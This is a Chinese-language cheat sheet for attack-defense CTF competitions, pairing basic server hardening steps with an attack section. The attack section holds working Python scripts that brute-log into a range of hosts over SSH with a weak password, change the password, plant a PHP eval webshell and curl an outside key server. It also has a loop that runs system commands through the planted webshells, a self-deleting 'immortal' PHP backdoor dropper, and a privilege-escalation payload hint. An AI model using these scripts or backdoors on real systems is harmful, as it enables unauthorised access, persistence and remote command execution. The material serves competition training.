基本防守策略

1、改用户密码和服务密码

1）改linux用户密码：

#passwd

查看当前用户 who

who -q 查看登录的用户和数量

如果有权限就删除用户：

#userdel -r [用户名]

2）改mysql密码：

#update mysql.user set password=password('密码') where user='root';

删除匿名用户：

#delete from mysql.user where user=' ';

刷新配置：

#flush privileges;

3）改网站后台密码

从网站页面或者源码或者御剑工具找到后台页面，然后尝试弱口令登入后改管理员密码。

2、Web防护

1）将网站目录打包成tar

#tar -cvf [打包后的文件名.tar] [要打包的文件名]

2）用ssh或ftp将打包文件拉到本地

ssh法:

#scp 用户名@IP地址:要下载的文件路径 存放路径

如：scp root@192.168.16.8:/root/flag.txt /root/

ftp法：

#ftp [IP地址]

#get [文件名]

或者用ftp登入软件下载

3）将压缩包解压，然后拉到D盾里面扫描木马文件

4）用ssh控制或ftp控制服务器将木马文件删除

3、关闭shell连接进程

1）查看正在连接的进程

#who

2）关闭连接进程

#pkill -kill -t pts/进程号

4、网站守护

1）查看新增文件，删掉

# find ./ -cmin -30

2）删除不死码

# vim killshell.sh

# chmod 777 killshell.sh

# nohup ./killshell.sh &

----------------------------------------------------------------

#!/bin/bash

while true

do

rm -rf xxx.php

done

----------------------------------------------------------------

3）发现网站页面有漏洞

# echo > xxx.php

PS：平台root用户可能是弱口令toor密码，或者存在内核溢出提权。

chmod 777 payload

./payload

网神杯奇安信平台溢出提权，4.4.0-31-generic Ubuntu 内核。

rm -rf /bin/curl

基本攻击策略

1、弱口令攻击

批量用户登入修改密码并写入webshell且获取flag值。

ls /home/

python3 ssh.py

--------------------------------------------------------------------

#!/usr/bin/env python

#-\*- coding:utf-8 -\*-

import paramiko

for i in [1,2,3,4,5,6,7,8,9,10]:

try:

host = "4.4."+str(i)+".100"

s=paramiko.SSHClient()

s.set\_missing\_host\_key\_policy(paramiko.AutoAddPolicy())

s.connect(hostname=host,port=22,username='user1',password='123456')

stdin,stdout,stderr = s.exec\_command('passwd\n')

stdin.write("123456\nPass@123.com\nPass@123.com\n")

stdin,stdout,stderr = s.exec\_command("echo '<?php eval($\_POST[cmd]);?>'>/var/www/html/.zack.php")

stdin,stdout,stderr = s.exec\_command('curl <http://192.168.245.250/getkey'>)

print(host+':'+stdout.read().decode('utf-8'))

s.close()

except:

print(host+':Fails!')

--------------------------------------------------------------------

2、批量调用webshell获取flag

用D盾扫描自己的网站木马，根据木马写脚本。

python3 web.py

--------------------------------------------------------------------

#!/usr/bin/env python

#-\*- coding:utf-8 -\*-

import requests

for i in [1,2,3,4,5,6,7,8,9,10]:

    try:

        url="http://4.4."+str(i)+".100:"+str(1005)+"/.zack.php"

        result=requests.post(url,data={'cmd':"system('curl [http://192.168.245.250/getkey');"},timeout=2](http://192.168.245.250/getkey');%22%7d,timeout=2))

        print(url+'-->'+result.text)

    except:

        print(url+'-->Fails!')

--------------------------------------------------------------------

3、不死码种植

将不死码上传网站目录，访问不死码后在当前目录生成.zack.php后门webshell。

--------------------------------------------------------------------

<?php

set\_time\_limit(0);

#1表示忽略与客户端断开连接，继续执行脚本

ignore\_user\_abort(1);

#执行完后删除自身

unlink(\_\_FILE\_\_);

while (1) {

$content = '<?php @eval($\_POST[zack]);?>';

file\_put\_contents(".zack.php", $content);

usleep(500);  #暂停0.5秒钟

}

?>

--------------------------------------------------------------------

杀死不死马的方法，查看不死马的进程ID：

# top | grep httpd

chmod 777 kill.sh

nohup ./kill.sh &

查到ID为 11198 ，根据ID号和webshell名写.sh脚本。

# vim kill.sh

--------------------------------------------------------------------

#!/bin/bash

while true

do

kill -9 11198

rm -rf .shell.php

done

--------------------------------------------------------------------